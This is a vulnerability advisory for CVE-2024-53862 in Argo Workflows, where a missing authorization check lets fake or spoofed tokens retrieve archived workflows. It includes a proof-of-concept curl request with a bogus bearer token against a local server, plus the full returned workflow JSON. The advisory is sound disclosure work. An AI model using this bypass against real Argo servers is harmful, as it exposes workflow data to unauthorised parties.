CVE-2024-53862: Argo Workflows Allows Access to Archived Workflows with Fake Token in `client` mode

Summary

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap: yaml config: | persistence: archive: true postgresql: database: argoworkflows host: db-host passwordSecret: key: postgresPassword name: argo-wf-postgres-credentials port: 5432 tableName: argoworkflows userNameSecret: key: username name: argo-wf-postgres-credentials

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

sh curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g

<details><summary>Results in a returned workflow:</summary>

Host localhost:8000 was resolved. IPv6: ::1 IPv4: 127.0.0.1 Trying [::1]:8000... Connected to localhost (::1) port 8000 GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1 Host: localhost:8000 User-Agent: curl/8.7.1 Accept: / Authorization: Bearer thisisatest Request completely sent off < HTTP/1.1 200 OK < Content-Type: application/json < Grpc-Metadata-Content-Type: application/grpc < X-Ratelimit-Limit: 1000 < X-Ratelimit-Remaining: 999 < X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC < Date: Mon, 19 Aug 2024 20:44:26 GMT < Transfer-Encoding: chunked < Connection #0 to host localhost left intact { "metadata": { "name": "hello-world-7tv5g", "generateName": "hello-world-", "namespace": "argo", "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4", "resourceVersion": "9982", "generation": 3, "creationTimestamp": "2024-08-13T23:59:20Z", "labels": { "workflows.argoproj.io/archive-strategy": "false", "workflows.argoproj.io/completed": "true", "workflows.argoproj.io/phase": "Succeeded", "workflows.argoproj.io/workflow-archiving-status": "Persisted" }, "annotations": { "workflows.argoproj.io/description": "This is a simple hello world example.\n", "workflows.argoproj.io/pod-name-format": "v2" }, "managedFields": [ { "manager": "argo", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:20Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { ".": {}, "f:workflows.argoproj.io/description": {} }, "f:generateName": {}, "f:labels": { ".": {}, "f:workflows.argoproj.io/archive-strategy": {} } }, "f:spec": {} } }, { "manager": "workflow-controller", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:30Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { "f:workflows.argoproj.io/pod-name-format": {} }, "f:labels": { "f:workflows.argoproj.io/completed": {}, "f:workflows.argoproj.io/phase": {}, "f:workflows.argoproj.io/workflow-archiving-status": {} } }, "f:status": {} } } ] }, "spec": { "templates": [ { "name": "hello-world", "inputs": {}, "outputs": {}, "metadata": {}, "container": { "name": "", "image": "busybox", "command": [ "echo" ], "args": [ "hello world" ], "resources": {} } } ], "entrypoint": "hello-world", "arguments": {}, "serviceAccountName": "argo-workflow" }, "status": { "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:30Z", "progress": "1/1", "nodes": { "hello-world-7tv5g": { "id": "hello-world-7tv5g", "name": "hello-world-7tv5g", "displayName": "hello-world-7tv5g", "type": "Pod", "templateName": "hello-world", "templateScope": "local/hello-world-7tv5g", "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:24Z", "progress": "1/1", "resourcesDuration": { "cpu": 0, "memory": 3 }, "outputs": { "exitCode": "0" }, "hostNodeName": "kind-control-plane" } }, "conditions": [ { "type": "PodRunning", "status": "False" }, { "type": "Completed", "status": "True" } ], "resourcesDuration": { "cpu": 0, "memory": 3 }, "artifactRepositoryRef": { "default": true, "artifactRepository": {} }, "artifactGCStatus": { "notSpecified": true }, "taskResultsCompletionStatus": { "hello-world-7tv5g": true } } }%

</details>

Impact

Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.

Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.

[^1]: sso tokens, on the other hand, are immediately "authorized". The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the client tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for client tokens via the k8s API server.